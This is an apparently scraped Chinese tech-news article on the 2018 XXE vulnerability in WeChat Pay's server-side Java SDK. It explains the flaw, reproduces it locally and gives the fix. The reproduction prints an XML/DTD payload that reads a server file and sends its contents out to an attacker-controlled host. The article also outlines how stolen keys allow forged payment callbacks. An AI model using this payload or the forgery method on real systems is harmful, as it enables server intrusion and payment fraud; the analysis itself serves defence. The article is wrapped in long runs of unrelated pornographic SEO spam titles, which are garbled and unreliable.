精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

可怕!微信支付被曝漏洞,危害不只是“0元也能買買買”!

安全 漏洞 應用安全
微信是最流行的 App 之一,特別是隨著“二維碼付款”成為潮流,越來越多的小伙伴早已習慣不帶現金出門。

 微信是最流行的 App 之一,特別是隨著“二維碼付款”成為潮流,越來越多的小伙伴早已習慣不帶現金出門。

[[235536]]

如果有人告訴你,現在不用你花一分錢,就能用[微信支付]買買買,這種天上掉餡餅的事,你會相信嗎?

7 月 1 日,在老牌漏洞披露平臺 Full Disclosure 出現了一封寫給微信支付的公開信。

發件人是 Rose Jackcode,信的標題是《微信支付官方SDK的XXE安全漏洞(微信支付在商戶頁面遺留了一個后門)》。

▲發表在漏洞披露平臺 Full Disclosure 上的公開信

發件人 Rose Jackcode 在信中稱,他在微信支付官方 SDK(軟件工具開發包)發現了一個安全漏洞,此漏洞可導致商家服務器被入侵,一旦攻擊者獲得商家的關鍵安全密鑰,就可以通過發送偽造信息來欺騙商家而無需付費購買任何東西。

[[235537]]

王牌對王牌

換句話說,黑客利用微信支付的這個漏洞,能實現 0 元無限買買買。

這并不是說說而已,這位網友還直接甩出了兩張圖,展示出漏洞利用的過程,中招者是 VIVO 和陌陌。

▲陌陌、VIVO 的微信支付漏洞利用過程

看不懂沒關系,為了方便小伙伴理解,他們舉了個小例子:

這個過程叫“商戶回調接口”,而這個漏洞可以讓微信支付產生“人家付款成功了”的錯覺,從而讓黑客實現 0 元購。

隨后,微信支付技術安全團隊已關注問題并及時排查,并進行更新,修復了已知的安全漏洞。

雖然微信支付安全漏洞已經被修復,但大家關注的熱度依舊高漲。查看百度熱搜指數發現,微信支付被爆漏洞這一話題依舊高居榜首。

一定不少小伙伴要吐槽了:“怎么又是修復好了才告訴我?有沒有感覺錯過了幾百萬哈....

[[235538]]

大多數人可能并不關注怎么修復安全漏洞,而是較為關心對個體產生的影響。下面我們從技術人的角度談談這次微信支付曝出的漏洞。

技術角度解讀微信支付曝出的漏洞

對于昨天(2018-07-04)微信支付的 SDK 曝出重大漏洞(XXE 漏洞),通過該漏洞,攻擊者可以獲取服務器中目錄結構、文件內容,如代碼、各種私鑰等。

獲取這些信息以后,攻擊者便可以為所欲為,其中就包括眾多媒體所宣傳的“0 元也能買買買”。

漏洞報告地址:http://seclists.org/fulldisclosure/2018/Jul/3

漏洞原理

XXE 漏洞

此次曝出的漏洞屬于 XXE 漏洞,即 XML 外部實體注入(XML External Entity Injection)。

XML 文檔除了可以包含聲明和元素以外,還可以包含文檔類型定義(即 DTD);如下圖所示:

在 DTD 中,可以引進實體,在解析 XML 時,實體將會被替換成相應的引用內容。

該實體可以由外部引入(支持 http、ftp 等協議,后文以 http 為例說明),如果通過該外部實體進行攻擊,就是 XXE 攻擊。

可以說,XXE 漏洞之所以能夠存在,本質上在于在解析 XML 的時候,可以與外部進行通信;當 XML 文檔可以由攻擊者任意構造時,攻擊便成為可能。

在利用 XXE 漏洞可以做的事情當中,最常見最容易實現的,便是讀取服務器的信息,包括目錄結構、文件內容等;本次微信支付爆出的漏洞便屬于這一種。

微信支付漏洞

本次漏洞影響的范圍是:在微信支付異步回調接口中,使用微信支付 SDK 進行 XML 解析的應用。

注意這里的 SDK 是服務器端的 SDK,App 端使用 SDK 并不受影響。

SDK 下載地址如下(目前微信官方宣傳漏洞已修復):https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip

SDK 中導致漏洞的代碼是 WXPayUtil 工具類中的 xmlToMap() 方法:

如上圖所示,由于在解析 XML 時沒有對外部實體的訪問做任何限制,如果攻擊者惡意構造 XML 請求,便可以對服務器進行攻擊。下面通過實例介紹攻擊的方法。

攻擊復現

下面在本機環境下進行復現。

假設本地的 Web 服務器 127.0.0.1:8080 中存在 POST 接口:/wxpay/callback,該接口中接收 XML 字符串做參數,并調用前述的 WXPayUtil.xmlToMap(strXml) 對 XML 參數進行解析。

此外,/etc/password 中存儲了重要的密碼數據(如 password1234)。

攻擊時構造的請求如下:

其中 XML 內容如下:

  1. <?xml version="1.0" encoding="utf-8"?> 
  2. <!DOCTYPE root [ 
  3.     <!ENTITY % file SYSTEM "file:///etc/password"
  4.     <!ENTITY % xxe SYSTEM "http://127.0.0.1:9000/xxe.dtd"
  5.     %xxe; 
  6. ]> 

其中 /etc/password 為要竊取的對象,http://127.0.0.1:9000/xxe.dtd 為攻擊者服務器中的 dtd 文件,內容如下:

  1. <!ENTITY % shell "<!ENTITY % upload SYSTEM 'http://127.0.0.1:9000/evil/%file;'>"
  2. %shell; 
  3. %upload; 

通過 xml+dtd 文件,攻擊者便可以在服務器 http://127.0.0.1:9000 中會收到如下請求:http://127.0.0.1:9000/evil/password1234。

這樣,攻擊者便得到了 /etc/password 文件的內容。

在本例中,攻擊者竊取了 /etc/password 文件中的內容,實際上攻擊者還可以獲取服務器中的目錄結構以及其他文件,只要啟動 Web 應用的用戶具有相應的讀權限。

如果獲取的信息比較復雜,如包含特殊符號,無法直接通過 http 的 URL 發送,則可以采用對文件內容進行 Base64 編碼等方法解決。

漏洞的解決

解決該漏洞的原理非常簡單,只要禁止解析 XML 時訪問外部實體即可。

漏洞曝出以后,微信進行了緊急修復,一方面是更新了 SDK,并提醒開發者使用最新的 SDK。

SDK 中修復代碼如下:

加入了如下兩行代碼:

  1. documentBuilderFactory.setExpandEntityReferences(false); 
  2. documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); 

此外,微信官方也給出了關于 XXE 漏洞的最佳安全實踐,可以參考:

https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5

筆者本人使用上述方案中建議的如下代碼修復了該漏洞:

  1. DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); 
  2. documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl"true); 
  3. DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); 
  4. …… 

擴展與反思

危害不只是“0 元也能買買買”

在很多媒體的報道中,強調該漏洞的風險在于攻擊者可以不支付也可以獲得商品。

攻擊者在通過上述漏洞獲得微信支付的秘鑰以后,有不止一種途徑可以做到不支付就獲得商品。

例如,攻擊者首先在系統中下單,獲得商戶訂單號;然后便可以調用微信支付的異步回調。

其中的簽名參數便可以使用前面獲取的秘鑰對訂單號等信息進行 MD5 獲得;這樣攻擊者的異步回調就可以通過應用服務器的簽名認證,從而獲得商品。

不過,在很多有一定規模的購物網站(或其他有支付功能的網站),會有對賬系統,如定時將系統中的訂單狀態與微信、支付寶的后臺對比。

如果出現不一致可以及時報警并處理,因此該漏洞在這方面的影響可能并沒有想象的那么大。

然而,除了“0 元也能買買買”,攻擊者可以做的事情還有很多很多;理論上來說,攻擊者可能獲得應用服務器上的目錄結構、代碼、數據、配置文件等,可以根據需要進行進一步破壞。

漏洞不限于微信支付 SDK

雖然微信支付曝出該漏洞受到了廣泛關注,但該漏洞絕不僅僅存在于微信支付中。

由于眾多 XML 解析器默認不會禁用對外部實體的訪問,因此應用的接口如果有以下幾個特點就很容易掉進 XXE 漏洞的坑里:

  • 接口使用 XML 做請求參數。
  • 接口對外公開,或容易獲得:例如一些接口提供給外部客戶調用,或者接口使用 http 很容易抓包,或者接口比較容易猜到(如微信支付的異步回調接口)。
  • 接口中解析 XML 參數時,沒有禁用對外部實體的訪問,建議大家最好檢查一下自己的應用中是否有類似的漏洞,及時修復。

XML 與 JSON

XML 與 JSON 是系統間交互常用的兩種數據格式,雖然很多情況下二者可以互換,但是筆者認為,JSON 作為更加輕量級更加純粹的數據格式,更適合于系統間的交互。

而 XML,作為更加重量級更加復雜的數據格式,其 DTD 支持自定義文檔類型,在更加復雜的配置場景下有著更好的效果,典型的場景如 Spring 相關的配置。

題外話:微信支付的簽名認證

在前面曾經提到,應用中存儲的秘鑰一旦泄露,攻擊者便可以完全繞過簽名認證,這是因為微信支付使用的是對稱式的簽名認證。

微信方和應用方,使用相同的秘鑰對相同的明文進行 MD5 簽名,只要應用方的秘鑰泄露,簽名認證就完全成了擺設。

在這方面支付寶的做法更規范也更安全:支付寶為應用生成公私鑰對,公鑰由應用方保存,私鑰由支付寶保存;在回調時,支付寶使用私鑰進行簽名,應用方使用公鑰進行驗證。

這樣只要支付寶保存的私鑰不泄露,攻擊者只有公鑰則難以通過簽名認證。

參考文獻:

  • https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5
  • http://seclists.org/fulldisclosure/2018/Jul/3
  • https://www.cnblogs.com/tongwen/p/5194483.html

關于此次微信出現的支付漏洞你怎么看?掃描下方二維碼,關注51CTO技術棧公眾號。歡迎在技術棧微信公眾號留言探討。

責任編輯:武曉燕 來源: 互聯網
相關推薦

2015-10-27 14:57:22

2014-04-18 09:16:37

2023-07-03 11:37:35

語言模型代碼

2015-06-10 11:10:08

戴爾云計算anycloud

2018-09-20 18:23:49

人工智能AI

2017-03-25 21:13:38

JavaScript排序

2025-04-29 12:05:41

2018-05-11 14:31:45

SSD價格Flash

2020-05-22 13:59:13

SSD內存DDR4

2021-04-17 15:14:24

微信0day漏洞

2021-05-04 19:24:04

數字人民幣數字貨幣區塊鏈

2021-03-13 06:59:07

支付寶隱藏技巧支付平臺

2013-04-25 13:58:15

編程

2016-04-20 17:16:04

2016-05-30 10:14:11

2021-11-05 11:17:45

互聯網996大廠

2020-07-15 09:55:50

fastjson類庫漏洞

2010-08-05 09:29:08

jQuery

2024-11-26 11:02:17

2011-06-29 16:29:19

點贊
收藏

51CTO技術棧公眾號

日韩欧美一二三四区| 国产欧美综合在线观看第十页| 欧美国产日韩二区| 9.1成人看片免费版| 69堂精品视频在线播放| 亚洲欧洲av一区二区三区久久| 亚洲影院色无极综合| 综合激情网五月| 天天做综合网| 国产视频在线观看一区二区| 在线免费看污网站| 成人免费直播| 一区二区三区在线免费观看| 欧美一区二区三区在线免费观看| 国产精品免费无遮挡| 一区视频在线看| 最近中文字幕mv在线一区二区三区四区| 潘金莲一级淫片aaaaaaa| 依依综合在线| 亚洲国产精品视频| 亚洲欧美日产图| 天堂av电影在线观看| 激情综合色播五月| 国产精品69久久久久| 日本三级理论片| 欧美成人综合| 久久手机免费视频| 极品尤物一区二区| 亚洲精品蜜桃乱晃| 亚洲第一免费播放区| 在线观看日本www| www.26天天久久天堂| 欧美性少妇18aaaa视频| 日韩一区二区高清视频| 免费在线观看av网站| 久久久不卡网国产精品一区| 加勒比在线一区二区三区观看| 国产91视频在线| 九色综合国产一区二区三区| 国产精品xxxxx| 男人天堂av在线播放| 国产日产高清欧美一区二区三区| 欧美国产乱视频| 免费一级片在线观看| 中国成人一区| 精品国产拍在线观看| 成年人视频软件| 色97色成人| 国产午夜精品一区二区三区| 波多野结衣办公室33分钟| 日本天堂一区| 日韩国产精品视频| 欧美bbbbb性bbbbb视频| 欧美黑人巨大videos精品| 亚洲成人免费在线视频| 大乳护士喂奶hd| 色哟哟精品丝袜一区二区| 亚洲福利在线观看| theav精尽人亡av| 中国av一区| 亚洲性无码av在线| 美女av免费看| 99国产精品一区二区| 久久九九有精品国产23| 538任你躁在线精品视频网站| 91精品蜜臀一区二区三区在线| 日韩有码在线观看| 少妇影院在线观看| 国产精品久久| 97成人超碰免| 在线观看你懂的网站| 麻豆国产欧美一区二区三区| 成人免费网视频| www.五月婷婷| 久久夜色精品一区| 亚洲欧洲三级| 久久99亚洲网美利坚合众国| 欧美日韩性视频在线| 天天爱天天操天天干| 亚洲美女色播| 亚洲第一视频在线观看| 可以直接看的无码av| 日韩精品午夜| 久久久久久国产三级电影| 免费黄色网址在线| 久久99久久99| 精品无人区一区二区三区竹菊| 国产精品视频一区二区久久| 一区二区三区波多野结衣在线观看| 青青草精品视频在线| 国产精品字幕| 欧美成人伊人久久综合网| 90岁老太婆乱淫| 91精品推荐| 欧美夜福利tv在线| 国产精品国产三级国产aⅴ| 成人性生交大片免费看视频在线| 欧美日韩一区在线播放| 在线观看电影av| 色哟哟一区二区| av在线免费观看不卡| 亚洲日产av中文字幕| 久久综合色88| 黄色网址中文字幕| 国产91高潮流白浆在线麻豆 | 久久蜜臀精品av| 黄黄视频在线观看| 日日av拍夜夜添久久免费| 欧美大片日本大片免费观看| 内射毛片内射国产夫妻| 中文一区在线| 亚洲综合精品一区二区| 成黄免费在线| 红桃av永久久久| 亚洲高清av一区二区三区| 国产一区国产二区国产三区| 久久久欧美精品| 97caocao| 中文字幕av一区二区三区免费看| av免费观看大全| 亚洲国产中文在线| 精品精品国产国产自在线| 国产在线观看黄色| 成人av先锋影音| 自拍视频一区二区三区| 色8久久影院午夜场| 亚洲国产精品久久精品怡红院| 国产色无码精品视频国产| 久久永久免费| 蜜桃999成人看片在线观看| 欧美xxx黑人xxx水蜜桃| 欧美一区二区日韩| 男人av资源站| 久久国产剧场电影| 亚洲视频sss| 成人精品三级| 中文字幕在线看视频国产欧美在线看完整 | 亚洲一区二区三区影院| 992tv人人草| 一区二区三区四区在线观看国产日韩 | 欧美日韩亚洲国产成人| 久久免费资源| 色婷婷综合久久久久| 国模私拍一区二区| 国产日韩av一区| www.日本xxxx| 清纯唯美日韩| 国产一区二区色| 麻豆网站在线| 日韩欧美国产三级| 黄色小视频在线免费看| 北条麻妃国产九九精品视频| 成人性免费视频| 青青久久av| 日本精品久久中文字幕佐佐木 | 深夜成人在线观看| 97人妻人人澡人人爽人人精品| 中文字幕佐山爱一区二区免费| 亚洲午夜激情影院| 亚洲美女视频| 国产精品手机在线| 韩国美女久久| 中文字幕日韩有码| 国产又大又粗又长| 亚洲丰满少妇videoshd| 熟女丰满老熟女熟妇| 日韩精品成人一区二区三区| 一区二区不卡视频| 999久久久久久久久6666| 91国产高清在线| 九色视频在线播放| 69堂成人精品免费视频| 精品无码人妻一区二区三区品| 成人av一区二区三区| 大肉大捧一进一出好爽动态图| 色喇叭免费久久综合| 99在线热播| 精品国产第一福利网站| 日韩中文理论片| 蜜桃视频久久一区免费观看入口| 欧美日韩一二三四五区| 91导航在线观看| 国产成人亚洲综合a∨猫咪| 久久久久久久激情| 97精品一区二区| 国产日韩一区欧美| 欧亚一区二区| 欧美精品videosex极品1| 五月天久久久久久| 欧美精品高清视频| 精品欧美一区二区三区免费观看 | 在线视频一区观看| 好吊妞视频这里有精品| 国产精品美女网站| eeuss鲁一区二区三区| 国产亚洲精品一区二555| 国产又爽又黄免费软件| 亚洲成人tv网| 欧洲美女女同性互添| 91视频国产资源| ass极品水嫩小美女ass| 日韩国产精品91| 久久这里只有精品18| 久久高清免费| 欧美日本韩国在线| 中文字幕一区图| 国产欧美最新羞羞视频在线观看| 国产高清中文字幕在线| 蜜月aⅴ免费一区二区三区| 福利视频在线导航| 亚洲精品网址在线观看| 国产91久久久| 日韩一区二区在线观看| 无码久久精品国产亚洲av影片| 偷窥国产亚洲免费视频| 18岁成人毛片| 成人免费在线播放视频| 东方伊人免费在线观看| 97精品国产露脸对白| 国产伦理在线观看| 国产一区二区三区在线观看免费 | 色悠悠久久久久| 全色精品综合影院| 亚洲娇小xxxx欧美娇小| 精品国产无码AV| 欧美日本一区二区三区四区 | 石原莉奈在线亚洲三区| 黄网站欧美内射| 国语自产精品视频在线看8查询8| 中日韩在线视频| 日韩精品一区二区三区免费观影| 欧美极品一区| 免费成人高清在线视频theav| 国产欧美日韩伦理| 成午夜精品一区二区三区软件| 国产在线观看精品| 国产成人免费视频网站视频社区| 国产免费一区二区三区香蕉精| 日本精品裸体写真集在线观看| 日本欧美中文字幕| 日本精品不卡| 国产极品jizzhd欧美| 经典三级一区二区| 国产成人短视频| 姬川优奈av一区二区在线电影| 日本a级片电影一区二区| 久久人体大尺度| 国产精品99久久久久久久久久久久| 黑人巨大精品欧美一区二区桃花岛| 91国产美女在线观看| 日韩电影大全网站| 国产精品视频大全| 欧美一区二区三区婷婷| 91亚洲精品在线观看| 视频一区在线| 国产一级精品aaaaa看| 欧美交a欧美精品喷水| 欧美一区二区在线| 99re66热这里只有精品8| 性生活免费观看视频| 中文字幕一区二区精品区| 人人妻人人澡人人爽欧美一区双| 一区二区视频欧美| 丁香啪啪综合成人亚洲| 久久99国产精品免费网站| gogo亚洲国模私拍人体| 成人av免费在线播放| 亚洲av无码一区二区二三区| 欧美国产精品一区二区三区| 99成人在线观看| 一区二区高清免费观看影视大全 | 国产亚洲精品精品精品| 亚洲日本在线观看| 久久精品一区二区三| 欧美色xxxx| 136福利视频导航| 欧美变态tickling挠脚心| 午夜影院在线视频| 久久精品视频一| 国产精品yjizz视频网| 国产精品99久久久久久久久久久久 | 精品久久香蕉国产线看观看gif| 7799精品视频天天看| 91精品综合久久久久久| 人妻中文字幕一区| 中文字幕国产精品久久| 丁香高清在线观看完整电影视频| 国产福利精品视频| 777久久精品| 亚洲国产欧美不卡在线观看| 亚洲网址在线| gai在线观看免费高清| av综合在线播放| 亚洲精品久久久久久国| 丰满岳妇乱一区二区三区| 国产精品无码天天爽视频| 日韩av一区在线| 菠萝菠萝蜜在线视频免费观看| 国产91免费观看| 成人av资源网址| 亚洲视频导航| 久久免费国产| 日韩精品视频一区二区| 国产精品电影一区二区三区| 天天操天天操天天操天天| 日韩一区二区三区免费看 | 99er热精品视频| 亚洲区一区二区| 不卡av免费观看| 亚洲最大福利网站| 久久福利影院| 青青草av网站| 久久久久久亚洲综合影院红桃 | 一级黄色片大全| 亚洲国产欧美在线| 精品人妻久久久久一区二区三区| 亚洲天堂网在线观看| 激情黄产视频在线免费观看| 亚洲影院色在线观看免费| 成人在线电影在线观看视频| 国产极品粉嫩福利姬萌白酱| 成人综合婷婷国产精品久久免费| 成年人视频软件| 欧美性大战久久| 国产乱子伦三级在线播放| 555www成人网| 天堂一区二区三区四区| 日韩一级片免费视频| 国产.欧美.日韩| 免费在线视频一区二区| 欧美一区二区成人| 超碰公开在线| 91热精品视频| 亚洲人体av| 无人码人妻一区二区三区免费| 亚洲欧美偷拍三级| 国产ts人妖调教重口男| 久久在线精品视频| 精品一区二区三区四区五区| gogogo免费高清日本写真| 久久99久久99| 免费成年人视频在线观看| 3atv一区二区三区| 99自拍视频在线观看| 亚洲最大福利视频网站| 国产一区二区三区四区三区四| 野花视频免费在线观看| 亚洲国产日韩a在线播放| 蜜桃av中文字幕| 欧美一区深夜视频| 欧洲专线二区三区| 91欧美视频在线| 国产精品入口麻豆九色| 国产精品污视频| 蜜臀久久99精品久久久无需会员| 亚洲精品a区| a级黄色一级片| 久久精品人人爽人人爽| 欧美性受xxx黑人xyx性爽| www国产亚洲精品久久网站| 国产一区二区三区免费在线 | 亚洲熟女毛茸茸| 欧美成人vps| 手机av在线| 视频一区亚洲| 国产不卡在线一区| 国产乱国产乱老熟| 色噜噜狠狠色综合网图区 | 日韩欧美一区二区在线观看| 亚洲制服少妇| 战狼4完整免费观看在线播放版| 日韩一区二区三区在线观看| 55av亚洲| 亚洲欧洲在线一区| 久久精品99国产精品日本| 久草资源在线视频| 亚洲男人天天操| 欧美h版在线观看| 久久婷婷五月综合色国产香蕉| 91麻豆免费视频| 国产又黄又粗又长| 欧美在线观看网址综合| 爽成人777777婷婷| av电影在线播放| 欧美日韩一区二区三区视频| 青草影视电视剧免费播放在线观看| 麻豆91蜜桃| 国产经典欧美精品| 亚洲另类在线观看| 久久这里有精品视频| 亚洲精品白浆高清| 免费黄色av网址| 在线观看日韩精品| 激情成人四房播| 欧美高清性xxxxhdvideosex| 黄色日韩网站视频| 日韩国产成人在线| 韩国v欧美v日本v亚洲| 国产精品久久天天影视| 偷拍夫妻性生活|